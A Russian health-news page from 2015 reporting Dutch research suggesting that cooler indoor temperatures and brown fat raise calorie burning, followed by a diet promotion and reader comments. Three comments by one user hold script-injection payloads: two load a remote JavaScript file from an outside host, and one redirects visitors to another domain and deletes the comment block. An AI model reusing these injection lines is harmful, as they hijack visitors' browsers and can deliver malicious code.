Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Греетесь дома? Вы толстее...  >>  Греетесь дома? Вы толстеете в тепле!
 
Обратная связь
 

Греетесь дома? Вы толстеете в тепле!

Размер шрифта
13 января 2015 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Еще одна новость для тех, кто хочет держать себя в форме. Голландские исследователи утверждают, что поддержание легкой прохлады дома и на работе может стать вашим дополнительным помощником в борьбе с избыточным весом и ожирением.

Греетесь дома? Вы толстеете в тепле!

Исследование возглавил доктор Вутер ван Маркен Лихтенбелт, профессор биологии человека в медицинском центре Университета Маастрихта. Он хотел понять, стимулирует ли холод процессы энергетического обмена в организме. Другими словами – будут ли люди, живущие при более низких температурах, сжигать больше калорий.

При понижении температуры мы обычно начинаем дрожать. Ученые считают это естественным кратковременным ответом на холод, благодаря которому человек может избежать переохлаждения: дрожь увеличивает продукцию тепла в организме. В Японии был проведен эксперимент, согласно которому пребывание в помещении при температуре 17 о С по два часа в день в течение шести недель снижает количество жира в организме. Однако не так давно был обнаружен новый вид адаптации к холоду – так называемый термогенез без дрожания, который также приводит к увеличению образования тепла, которое, однако, происходит медленнее чем обычно. «У большинства взрослых людей такой термогенез увеличивается на 5-30% в ответ на пребывание в прохладном помещении», – отмечают ученые. «Таким образом, это может оказывать значительное влияние на энергетический обмен и расход калорий».

Предыдущее исследование голландских ученых показало, что люди постепенно акклиматизируются в более холодных условиях. Участники эксперимента, проводившие по шесть часов в день при температуре 15 о С, через 10 дней начинали чувствовать себя более комфортно и дрожали гораздо меньше.

«Есть данные о том, что люди, как и грызуны, сжигают больше калорий на холоде только для того, чтобы поддерживать нормальную температуру тела», – рассказывает доктор Митчелл Лазар, глава отделения эндокринологии Университета Пенсильвании. Так сколько же времени надо провести в холодном помещении, чтобы избавиться, скажем, от сотни калорий? Ученые считают, что о таких точных расчетах говорить пока рано.

«Наши результаты говорят о том, что адаптация к холоду приводит к увеличению расхода энергии», – говорит доктор Лихтенбелт. «В этих данных сомнений нет. Однако мы до сих пор не знаем, как можно применять эти знания в реальной жизни». Ученые планируют провести долгосрочные испытания этой методики. Участники эксперимента будут жить в прохладных помещениях, а их вес будет строго отслеживаться. «Мы будем следить не только за весом участников, но и за многими другими жизненными показателями», – добавляет доктор Лихтенбелт. «Будет очень интересно провести такое исследование на людях, которые стремятся сбросить лишний вес, и посмотреть, улучшатся ли их результаты».

Также было показано, что акклиматизация в холодной среде может приводить к увеличению количества бурого жира в организме. В отличие от обычного белого жира, бурый не запасает, а сжигает калории. Возможно, именно он способен влиять на снижение веса и нормализацию обмена веществ.

Хотите худеть при любой температуре? Специально для вас создана Диета Елены Малышевой! Уже готовая правильная еда будет доставлена Вам в любое место и время. Вам останется только есть и худеть!

Другие секреты похудения раскрываются на страницах нашего специального проекта «Сбрось лишнее».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Laskina

23 февраля 2015 в 11:01

Цитировать   |   Пожаловаться

Если бы в прохладе еще так есть не хотелось,как хочется)) Энергия сгорает активнее же)) А вообще да,на некоторых диетах это одно из правил,дома придерживаться температуры не выше 20С

2 - zzzzzz

30 июня 2015 в 18:27

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 21:24

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

4 - zzzzzz

30 июня 2015 в 22:21

Цитировать   |   Пожаловаться

-->> window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

5 - Гость

04 января 2016 в 23:42

Цитировать   |   Пожаловаться

Бред всё это. Ну как можно во время холода похудеть?! Так можно ещё и болезнь подхватить, потому что когда мороз - большая вероятность заболеть. Летом тоже можно, если пить ледяную воду.

Статьи

       
5 неожиданных причин, почему вы толстеете   Суперпродукты для похудения   Ерзай на здоровье   Не выспались? Вы потолстеете!  
11 октября 2013Елена Малышева расскажет все о том, как правильно худеть 05 июля 2013Вы не виноваты в своем лишнем весе! Еда всего лишь одна из причин ожирения! Какая же главная?
 
31 мая 2013От инфаркта не убежать, но можно уйти! Новые данные говорят о том, что ходьба также эффективна, как бег, в борьбе с лишним весом! 21 мая 2013Когда я ем – я глух и нем! Ученые доказали, что это поможет похудеть!
 

Слайдшоу

1
Что не даст вам похудеть на праздниках
Как не сорваться на диете и похудеть?
Худшие напитки для фигуры

Тесты

1
Есть ли у вас избыточный вес?
Готовы ли вы сбросить лишнее?
Какое мороженное съесть, чтобы похудеть
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.